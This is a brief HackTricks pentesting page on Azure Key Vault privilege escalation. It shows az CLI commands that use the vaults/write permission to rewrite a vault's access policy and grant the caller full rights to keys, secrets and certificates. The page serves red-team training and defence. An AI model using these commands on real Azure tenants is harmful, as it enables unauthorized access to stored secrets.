Az - Key Vault Privesc

Reading time: 2 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Azure Key Vault

For more information about this service check:

Az - Key Vault

Microsoft.KeyVault/vaults/write

An attacker with this permission will be able to modify the policy of a key vault (the key vault must be using access policies instead of RBAC).

bash
# If access policies in the output, then you can abuse it
az keyvault show --name <vault-name>

# Get current principal ID
az ad signed-in-user show --query id --output tsv

# Assign all permissions
az keyvault set-policy \
  --name <vault-name> \
  --object-id <your-object-id> \
  --key-permissions all \
  --secret-permissions all \
  --certificate-permissions all \
  --storage-permissions all

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks